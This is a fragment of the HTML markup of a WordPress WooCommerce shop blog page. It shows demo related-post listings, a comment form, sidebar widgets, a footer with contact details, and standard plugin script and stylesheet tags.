								<a href="https://preojon.com/tag/awesome/" rel="tag">Awesome</a> <a href="https://preojon.com/tag/develeper/" rel="tag">Develeper</a> <a href="https://preojon.com/tag/web-design/" rel="tag">Web Design</a> <a href="https://preojon.com/tag/woocommerce-2/" rel="tag">Woocommerce</a> <a href="https://preojon.com/tag/wordpress-2/" rel="tag">Wordpress</a>							</span>
						</div>
					</div>
									</div>
			</div>
			<!-- Blog Author -->
				
			
			<!-- Next Prev Blog -->
			<div class="single-navigation">
			<a href="https://preojon.com/the-website-hight-load-speed/" rel="next">Next post</a>			</div>
			
			<!-- Related Posts-->
				<div class="ts-blogs related-posts related ts-slider loading">
		<header class="theme-title">
			<h3 class="heading-title">Related Posts</h3>
		</header>
		<div class="content-wrapper">
			<div class="blogs">
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/responsive-and-retina-ready/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/responsive-and-retina-ready/">Responsive and retina ready</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>20</span>
							<span>May</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								167							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/responsive-and-retina-ready/">Read More</a>
					</div>
										
				</article>
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/amazing-revolution-slideshow/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/amazing-revolution-slideshow/">Amazing revolution slider</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>10</span>
							<span>May</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								139							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/amazing-revolution-slideshow/">Read More</a>
					</div>
										
				</article>
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/translation-and-wpml-compatible/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/translation-and-wpml-compatible/">Translation and WPML compatible</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>25</span>
							<span>Oct</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								02							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								199							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/translation-and-wpml-compatible/">Read More</a>
					</div>
										
				</article>
								<article class="item video">
					<div class="thumbnail-content">
								<div class="ts-video auto-size" style="width:800px; height:450px;">
			<iframe width="800" height="450" src="//player.vimeo.com/video/61215259" allowfullscreen></iframe>
		</div>
						</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/drag-and-drop-page-builder-integration/">Drag and drop page builder integration</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>24</span>
							<span>Oct</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								03							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								95							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/drag-and-drop-page-builder-integration/">Read More</a>
					</div>
										
				</article>
								<article class="item audio">
					<div class="thumbnail-content">
						<div class="ts-soundcloud ts-soundcloud-1847671782"><style type="text/css" scoped>.ts-soundcloud-1847671782 iframe{width: 100%; height:122px;}</style><iframe src="https://w.soundcloud.com/player/?url=https://soundcloud.com/mostafa-adham/kenny-g-saxophone-the-sound-of&#038;color=ff5500&#038;auto_play=false&#038;hide_related=false&#038;show_comments=true&#038;show_user=true&#038;show_reposts=false"></iframe></div>					</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/woocommerce-compatible/">WooCommerce compatible</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>24</span>
							<span>Oct</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								121							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/woocommerce-compatible/">Read More</a>
					</div>
										
				</article>
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/free-premium-quantity-support/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/free-premium-quantity-support/">Free premium quantity support</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>03</span>
							<span>Sep</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								81							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/free-premium-quantity-support/">Read More</a>
					</div>
										
				</article>
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/support-mega-menu-style/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/support-mega-menu-style/">Support mega menu style</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>10</span>
							<span>Dec</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								116							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/support-mega-menu-style/">Read More</a>
					</div>
										
				</article>
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/powerful-theme-options-panel/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/powerful-theme-options-panel/">Powerful theme options panel</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>01</span>
							<span>Nov</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								66							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/powerful-theme-options-panel/">Read More</a>
					</div>
										
				</article>
								<article class="item ">
					<div class="thumbnail-content">
													<a class="thumbnail  " href="https://preojon.com/the-website-hight-load-speed/">
								<figure>
																</figure>
								<div class="effect-thumbnail"></div>
							</a>
											</div>
					
										<header>
						<h3 class="heading-title entry-title">
							<a class="post-title heading-title" href="https://preojon.com/the-website-hight-load-speed/">The website Hight-load speed</a>
						</h3>
					</header>
										
					<div class="entry-meta has-datetime has-datetime">
						<!-- Blog Date Time -->
												<div class="date-time">
							<span>01</span>
							<span>Nov</span>
						</div>
												
						<!-- Blog Comment -->
												<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
												
						<!-- Blog view -->
												<span class="view-count">
							<i class="pe-7s-look"></i>
							<span class="number">
								111							</span>
						</span>
												
						<!-- Blog Author -->
												<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
					</div>
					
										<div class="excerpt">Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize</div>
										
										<div class="entry-bottom">
						<!-- Blog Read More Button -->
						<a class="button button-secondary transparent button-readmore" href="https://preojon.com/the-website-hight-load-speed/">Read More</a>
					</div>
										
				</article>
							</div>
		</div>
	</div>
	
			
			<!-- Comment Form -->
			
<div id="comments" class="comments-area">

	
									<section id="comment-wrapper">
				<header class="heading-wrapper">
					<h2 id="reply-title" class="heading-title">Leave a comment <small><a rel="nofollow" id="cancel-comment-reply-link" href="/use-html5-and-css3/#respond" style="display:none;">Cancel reply</a></small></h2>
				</header>
				
									<form action="https://preojon.com/wp-comments-post.php" method="post" id="commentform">
						<div class="info-wrapper"><p><label>Your Name <span class="required">*</span></label><input id="author" class="input-text" name="author" type="text" value="" size="30" aria-required='true' /></p>
<p><label>Your Email <span class="required">*</span></label><input id="email" class="input-text" name="email" type="text" value="" size="30" aria-required='true'/></p>
<p><label>Website</label><input id="url" class="input-text" name="url" type="text" value="" size="30"/></p>
</div><div class="message-wrapper"><p><label>Your Comment</label><textarea id="comment" name="comment" cols="45" rows="8" aria-required="true"></textarea></p></div>						<p class="form-submit">
							<button class="button" type="submit" id="submit">Post comment</button>

							<input type='hidden' name='comment_post_ID' value='336' id='comment_post_ID' />
<input type='hidden' name='comment_parent' id='comment_parent' value='0' />
						</p>
											</form>
							</section>
					
</div>		</article>
	</div><!-- end main-content -->
	
	<!-- Right Sidebar -->
			<aside id="right-sidebar" class="ts-sidebar ts-col-6">
					<section id="categories-2" class="widget-container widget_categories"><div class="widget-title-wrapper"><a class="block-control" href="javascript:void(0)"></a><h3 class="widget-title heading-title">Categories</h3></div>
			<ul>
					<li class="cat-item cat-item-178"><a href="https://preojon.com/category/1/">1</a>
</li>
	<li class="cat-item cat-item-1"><a href="https://preojon.com/category/blog/">Blog</a>
</li>
	<li class="cat-item cat-item-175"><a href="https://preojon.com/category/casino/">casino</a>
</li>
	<li class="cat-item cat-item-23"><a href="https://preojon.com/category/fashions-star/domestic/">Domestic</a>
</li>
	<li class="cat-item cat-item-16"><a href="https://preojon.com/category/fashions-star/">Fashion&#039;s Star</a>
</li>
	<li class="cat-item cat-item-17"><a href="https://preojon.com/category/high-fashion/">High Fashion</a>
</li>
	<li class="cat-item cat-item-18"><a href="https://preojon.com/category/fashions-star/international/">International</a>
</li>
	<li class="cat-item cat-item-19"><a href="https://preojon.com/category/kids-clothing/">Kid’s Clothing</a>
</li>
	<li class="cat-item cat-item-20"><a href="https://preojon.com/category/mens-clothing/">Men’s Clothing</a>
</li>
	<li class="cat-item cat-item-24"><a href="https://preojon.com/category/what-new/new-arrivals/">New Arrivals</a>
</li>
	<li class="cat-item cat-item-25"><a href="https://preojon.com/category/what-new/new-collections/">New Collections</a>
</li>
	<li class="cat-item cat-item-176"><a href="https://preojon.com/category/news/">News</a>
</li>
	<li class="cat-item cat-item-177"><a href="https://preojon.com/category/public/">Public</a>
</li>
	<li class="cat-item cat-item-21"><a href="https://preojon.com/category/quote/">Quote</a>
</li>
	<li class="cat-item cat-item-22"><a href="https://preojon.com/category/what-new/">What&#039;s New</a>
</li>
			</ul>

			</section><section id="ts_recent_comments-2" class="widget-container ts-recent-comments-widget"><div class="widget-title-wrapper"><a class="block-control" href="javascript:void(0)"></a><h3 class="widget-title heading-title">Recent Comments</h3></div>				<div class="ts-recent-comments-widget-wrapper " data-show_nav="1" data-auto_play="1">
																	<div class="per-slide">
							<ul class="comment_list_widget">
													<li>
								<div class="comment-meta">
																		<div class="avatar">
										<a href="https://preojon.com/hello-world/#comment-1"><img alt='' src='https://secure.gravatar.com/avatar/d7a973c7dab26985da5f961be7b74480?s=96&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/d7a973c7dab26985da5f961be7b74480?s=192&#038;d=mm&#038;r=g 2x' class='avatar avatar-96 photo' height='96' width='96' decoding='async'/></a>
									</div>
																		
									<div class="meta">
																				<span class="author">
											<a href="https://wordpress.org/" rel="external nofollow">A WordPress Commenter</a>
										</span>
																				
																				<span class="date">
											Aug 26, 2024										</span>
																			</div>
								</div>
																<blockquote class="comment-body">Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit</blockquote>
															</li>
																								<li>
								<div class="comment-meta">
																		<div class="avatar">
										<a href="https://preojon.com/translation-and-wpml-compatible/#comment-5"><img alt='' src='https://secure.gravatar.com/avatar/785b53880fbc1590686ea2494850c83d?s=96&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/785b53880fbc1590686ea2494850c83d?s=192&#038;d=mm&#038;r=g 2x' class='avatar avatar-96 photo' height='96' width='96' decoding='async'/></a>
									</div>
																		
									<div class="meta">
																				<span class="author">
											<a href="http://www.google.com" rel="external nofollow">Jane Doe</a>
										</span>
																				
																				<span class="date">
											Sep 05, 2015										</span>
																			</div>
								</div>
																<blockquote class="comment-body">Lorem ipsum dolor sit amet, vulputate placerat, etiam pede erat sed proin ultrices, erat sit</blockquote>
															</li>
							
							</ul>
						</div>
															</div>
				</section><section id="ts_blogs-2" class="widget-container ts-blogs-widget"><div class="widget-title-wrapper"><a class="block-control" href="javascript:void(0)"></a><h3 class="widget-title heading-title">Recent Posts</h3></div>				<div class="ts-blogs-widget-wrapper  has-image" data-show_nav="1" data-auto_play="1">
																	<div class="per-slide">
							<ul class="post_list_widget">
													<li>
																											<a class="thumbnail " href="https://preojon.com/paypal-casinos-deutschland-die-7-besten-anbieter-23/">
											<figure>
																							</figure>
											<div class="effect-thumbnail"></div>
										</a>
																									
																	
																		<a href="https://preojon.com/paypal-casinos-deutschland-die-7-besten-anbieter-23/" class="post-title">
										PayPal Casinos Deutschland: Die 7 besten Anbieter im Test 2026									</a>
																		
																		<div class="entry-meta">
									
																				<span class="date-time">
											<i class="pe-7s-date"></i>
											May 21, 2026										</span>
																				
																				<span class="comment">
											<i class="pe-7s-chat"></i>
											<span class="number">
												0											</span>
										</span>
																				
																				
																			</div>
																		
																			<div class="excerpt">
											ContentWelche Spiele findest du in diesen Spielotheken?Schritt für										</div>
																		
																
							</li>
																								<li>
																											<a class="thumbnail " href="https://preojon.com/l-x27-impact-de-la-technologie-sur-les-strategies/">
											<figure>
																							</figure>
											<div class="effect-thumbnail"></div>
										</a>
																									
																	
																		<a href="https://preojon.com/l-x27-impact-de-la-technologie-sur-les-strategies/" class="post-title">
										L&#x27;impact de la technologie sur les stratégies de jeu en ligne									</a>
																		
																		<div class="entry-meta">
									
																				<span class="date-time">
											<i class="pe-7s-date"></i>
											April 9, 2026										</span>
																				
																				<span class="comment">
											<i class="pe-7s-chat"></i>
											<span class="number">
												0											</span>
										</span>
																				
																				
																			</div>
																		
																			<div class="excerpt">
											L&#x27;impact de la technologie sur les stratégies de										</div>
																		
																
							</li>
							
							</ul>
						</div>
															</div>
				
				</section><section id="archives-2" class="widget-container widget_archive"><div class="widget-title-wrapper"><a class="block-control" href="javascript:void(0)"></a><h3 class="widget-title heading-title">Archives</h3></div>
			<ul>
					<li><a href='https://preojon.com/2026/05/'>May 2026</a></li>
	<li><a href='https://preojon.com/2026/04/'>April 2026</a></li>
	<li><a href='https://preojon.com/2026/03/'>March 2026</a></li>
	<li><a href='https://preojon.com/2026/02/'>February 2026</a></li>
	<li><a href='https://preojon.com/2026/01/'>January 2026</a></li>
	<li><a href='https://preojon.com/2025/12/'>December 2025</a></li>
	<li><a href='https://preojon.com/2024/08/'>August 2024</a></li>
	<li><a href='https://preojon.com/2015/05/'>May 2015</a></li>
	<li><a href='https://preojon.com/2014/10/'>October 2014</a></li>
	<li><a href='https://preojon.com/2014/09/'>September 2014</a></li>
	<li><a href='https://preojon.com/2013/12/'>December 2013</a></li>
	<li><a href='https://preojon.com/2013/11/'>November 2013</a></li>
			</ul>

			</section><section id="tag_cloud-2" class="widget-container widget_tag_cloud"><div class="widget-title-wrapper"><a class="block-control" href="javascript:void(0)"></a><h3 class="widget-title heading-title">Tags</h3></div><div class="tagcloud"><a href="https://preojon.com/tag/awesome/" class="tag-cloud-link tag-link-26 tag-link-position-1" style="font-size: 11.684210526316pt;" aria-label="Awesome (7 items)">Awesome</a>
<a href="https://preojon.com/tag/develeper/" class="tag-cloud-link tag-link-27 tag-link-position-2" style="font-size: 15.368421052632pt;" aria-label="Develeper (8 items)">Develeper</a>
<a href="https://preojon.com/tag/ios/" class="tag-cloud-link tag-link-30 tag-link-position-3" style="font-size: 15.368421052632pt;" aria-label="iOS (8 items)">iOS</a>
<a href="https://preojon.com/tag/mockup/" class="tag-cloud-link tag-link-31 tag-link-position-4" style="font-size: 8pt;" aria-label="Mockup (6 items)">Mockup</a>
<a href="https://preojon.com/tag/photography/" class="tag-cloud-link tag-link-33 tag-link-position-5" style="font-size: 11.684210526316pt;" aria-label="Photography (7 items)">Photography</a>
<a href="https://preojon.com/tag/web-design/" class="tag-cloud-link tag-link-41 tag-link-position-6" style="font-size: 11.684210526316pt;" aria-label="Web Design (7 items)">Web Design</a>
<a href="https://preojon.com/tag/woocommerce-2/" class="tag-cloud-link tag-link-42 tag-link-position-7" style="font-size: 22pt;" aria-label="Woocommerce (10 items)">Woocommerce</a>
<a href="https://preojon.com/tag/wordpress-2/" class="tag-cloud-link tag-link-43 tag-link-position-8" style="font-size: 11.684210526316pt;" aria-label="Wordpress (7 items)">Wordpress</a></div>
</section><section id="ts_single_image-2" class="widget-container ts-single-image"><h3 class="widget-title heading-title hidden">Boxshop</h3>		<div class="ts-single-image ts-effect-image eff-widespread-corner-left-right">
			<a title="Boxshop" target="_blank" class="image-link" href="#" >
									<img loading="lazy" alt="Boxshop" title="Boxshop" class="img" src="https://preojon.com/wp-content/uploads/2014/12/blog-banner.jpg" />
				 
				<span class="overlay" style="background:#ffffff;border-color:#ffffff"></span>
			</a>
		</div>
		</section>				</aside>
		
	<!-- end right sidebar -->	
</div>
<div class="clear"></div>
</div><!-- #main .wrapper -->
<div class="clear"></div>
		<footer id="colophon">
		<div class="footer-container">
						<div class="first-footer-area footer-area">
				<div class="container no-padding">
					<div class="ts-col-24">
						<div id="ts_footer_block-1" class="widget-container ts-footer-block">	<div  class="vc_row wpb_row vc_row-fluid vc_custom_1489554124589 ts-row-wide"  ><div class="wpb_column vc_column_container vc_col-sm-3 vc_custom_1476705347722">
	<div class="wpb_wrapper">
	
	<div class="wpb_text_column wpb_content_element  vc_custom_1726895332681" >
		<div class="wpb_wrapper">
			<p><a href="https://preojon.com/"><img class="alignnone wp-image-9442" src="https://preojon.com/wp-content/uploads/2024/08/logo-for-footer-1.webp" alt="" width="293" height="64" /></a></p>
<ul class="info-content">
<li class="info-location">74-04 37th Ave, Jackson Heights, NY 11372</li>
<li class="info-phone">+1 (929) 418-6423</li>
<li class="info-email">support@preojon.com</li>
</ul>

		</div>
	</div>
<div  class="wpb_widgetised_column wpb_content_element social-no-margin">
		<div class="wpb_wrapper">
			
			<section id="ts_social_icons-1" class="widget-container ts-social-icons"><div class="widget-title-wrapper"><a class="block-control" href="javascript:void(0)"></a><h3 class="widget-title heading-title">Follow us</h3></div>			
			<div class="social-icons show-tooltip style-1">
								<ul class="list-icons">
											<li class="facebook"><a href="#" target="_blank" title="" ><i class="fa fa-facebook"></i><span class="ts-tooltip social-tooltip">Facebook</span></a></li>				
																<li class="twitter"><a href="#" target="_blank" title="" ><i class="fa fa-twitter"></i><span class="ts-tooltip social-tooltip">Twitter</span></a></li>
																<li class="flickr"><a href="#" target="_blank" title="" ><i class="fa fa-flickr"></i><span class="ts-tooltip social-tooltip">Flickr</span></a></li>
																<li class="vimeo"><a href="#" target="_blank" title="" ><i class="fa fa-vimeo-square"></i><span class="ts-tooltip social-tooltip">Vimeo</span></a></li>
																																							</ul>
			</div>

			</section>
		</div>
	</div>
	</div>
</div><div class="wpb_column vc_column_container vc_col-sm-3 vc_custom_1476705244248">
	<div class="wpb_wrapper">
	
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<h3></h3>
<h3></h3>
<h3 class="widget-title heading-title">Popular Categories</h3>
<ul class="no-padding">
<li><a href="https://preojon.com/product-category/jewellery/">Jewellery Items</a></li>
<li><a href="https://preojon.com/product/panjabi/">Panjabi</a></li>
<li><a href="https://preojon.com/product-category/Decor-or-Islamic-Frame/">Decor or Islamic Frame</a></li>
<li><a href="https://preojon.com/product-category/toy/">Toys</a></li>
</ul>

		</div>
	</div>
	</div>
</div><div class="wpb_column vc_column_container vc_col-sm-3 vc_custom_1476705257509">
	<div class="wpb_wrapper">
	
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<h3></h3>
<h3></h3>
<h3 class="widget-title heading-title">Information</h3>
<ul class="no-padding">
<li><a title="Frequently Asked Questions" href="https://preojon.com/blog-shortcodes/faq/">FAQ</a></li>
<li><a href="https://preojon.com/privacy-policy/">Privacy Policy</a></li>
<li><a href="https://preojon.com/terms-conditions/">Terms &amp; Condition</a></li>
<li><a href="https://preojon.com/about-us/">About Us</a></li>
<li><a title="Contact Us" href="https://preojon.com/contact-us/">Contact Us</a></li>
</ul>

		</div>
	</div>
	</div>
</div><div class="wpb_column vc_column_container vc_col-sm-3 vc_custom_1476706950105">
	<div class="wpb_wrapper">
	
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<h3></h3>
<h3></h3>
<h3 class="widget-title heading-title">Features</h3>
<ul class="no-padding">
<li><a href="https://preojon.com/shortcode-products/recent-products-slider/">Recent Products</a></li>
<li><a href="https://preojon.com/shortcode-products/feature-products-slider/">Feature Products</a></li>
<li><a href="https://preojon.com/shortcode-products/best-selling-products-slider/">Best Selling Products</a></li>
<li><a href="https://preojon.com/shortcode-products/top/">Top Rated Products</a></li>
</ul>

		</div>
	</div>
	</div>
</div></div></div>					</div>
				</div>
			</div>
						
						<div class="end-footer footer-area">
				<div class="container no-padding">
					<div class="ts-col-24">
						<div id="ts_footer_block-2" class="widget-container ts-footer-block">	<div  class="vc_row wpb_row vc_row-fluid vc_custom_1474460712483 ts-row-wide vc_row-no-padding"  data-vc-full-width="true" data-vc-full-width-init="false"  data-vc-stretch-content="true" ><div class="wpb_column vc_column_container vc_col-sm-12">
	<div class="wpb_wrapper">
		</div>
</div></div><div class="vc_row-full-width"></div>	<div  class="vc_row wpb_row vc_row-fluid vc_custom_1492797021714 ts-row-wide"  ><div class="wpb_column vc_column_container vc_col-sm-6">
	<div class="wpb_wrapper">
	
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<p>© 2024 All Rights Reserved by Preojon.com</p>

		</div>
	</div>
	</div>
</div><div class="payment-right wpb_column vc_column_container vc_col-sm-6">
	<div class="wpb_wrapper">
	
	<div class="wpb_text_column wpb_content_element  vc_custom_1763794202092" >
		<div class="wpb_wrapper">
			<p>Developed by <a href="https://www.samratict.com/">Samrat ICT Ltd.</a></p>

		</div>
	</div>
	</div>
</div></div></div>					</div>
				</div>
			</div>
					</div>
	</footer>
	</div><!-- #page -->

<div id="to-top" class="scroll-button">
	<a class="scroll-button" href="javascript:void(0)" title="Back to Top">Back to Top</a>
</div>


		<script>
			window.RS_MODULES = window.RS_MODULES || {};
			window.RS_MODULES.modules = window.RS_MODULES.modules || {};
			window.RS_MODULES.waiting = window.RS_MODULES.waiting || [];
			window.RS_MODULES.defered = true;
			window.RS_MODULES.moduleWaiting = window.RS_MODULES.moduleWaiting || {};
			window.RS_MODULES.type = 'compiled';
		</script>
		<script type="text/html" id="wpb-modifications"> window.wpbCustomElement = 1; </script>	<script type='text/javascript'>
		(function () {
			var c = document.body.className;
			c = c.replace(/woocommerce-no-js/, 'woocommerce-js');
			document.body.className = c;
		})();
	</script>
	<link rel='stylesheet' id='wc-blocks-style-css' href='https://preojon.com/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=wc-9.2.5' type='text/css' media='all' />
<link rel='stylesheet' id='rs-plugin-settings-css' href='https://preojon.com/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.6.18' type='text/css' media='all' />
<style id='rs-plugin-settings-inline-css' type='text/css'>
#rs-demo-id {}
</style>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.selectBox.min.js?ver=1.2.0" id="jquery-selectBox-js"></script>
<script type="text/javascript" src="//preojon.com/wp-content/plugins/woocommerce/assets/js/prettyPhoto/jquery.prettyPhoto.min.js?ver=3.1.6" id="prettyPhoto-js" data-wp-strategy="defer"></script>
<script type="text/javascript" id="jquery-yith-wcwl-js-extra">
/* <![CDATA[ */
var yith_wcwl_l10n = {"ajax_url":"\/wp-admin\/admin-ajax.php","redirect_to_cart":"no","yith_wcwl_button_position":"after_add_to_cart","multi_wishlist":"","hide_add_button":"1","enable_ajax_loading":"","ajax_loader_url":"https:\/\/preojon.com\/wp-content\/plugins\/yith-woocommerce-wishlist\/assets\/images\/ajax-loader-alt.svg","remove_from_wishlist_after_add_to_cart":"1","is_wishlist_responsive":"1","time_to_close_prettyphoto":"3000","fragments_index_glue":".","reload_on_found_variation":"1","mobile_media_query":"768","labels":{"cookie_disabled":"We are sorry, but this feature is available only if cookies on your browser are enabled.","added_to_cart_message":"<div class=\"woocommerce-notices-wrapper\"><div class=\"woocommerce-message\" role=\"alert\">Product added to cart 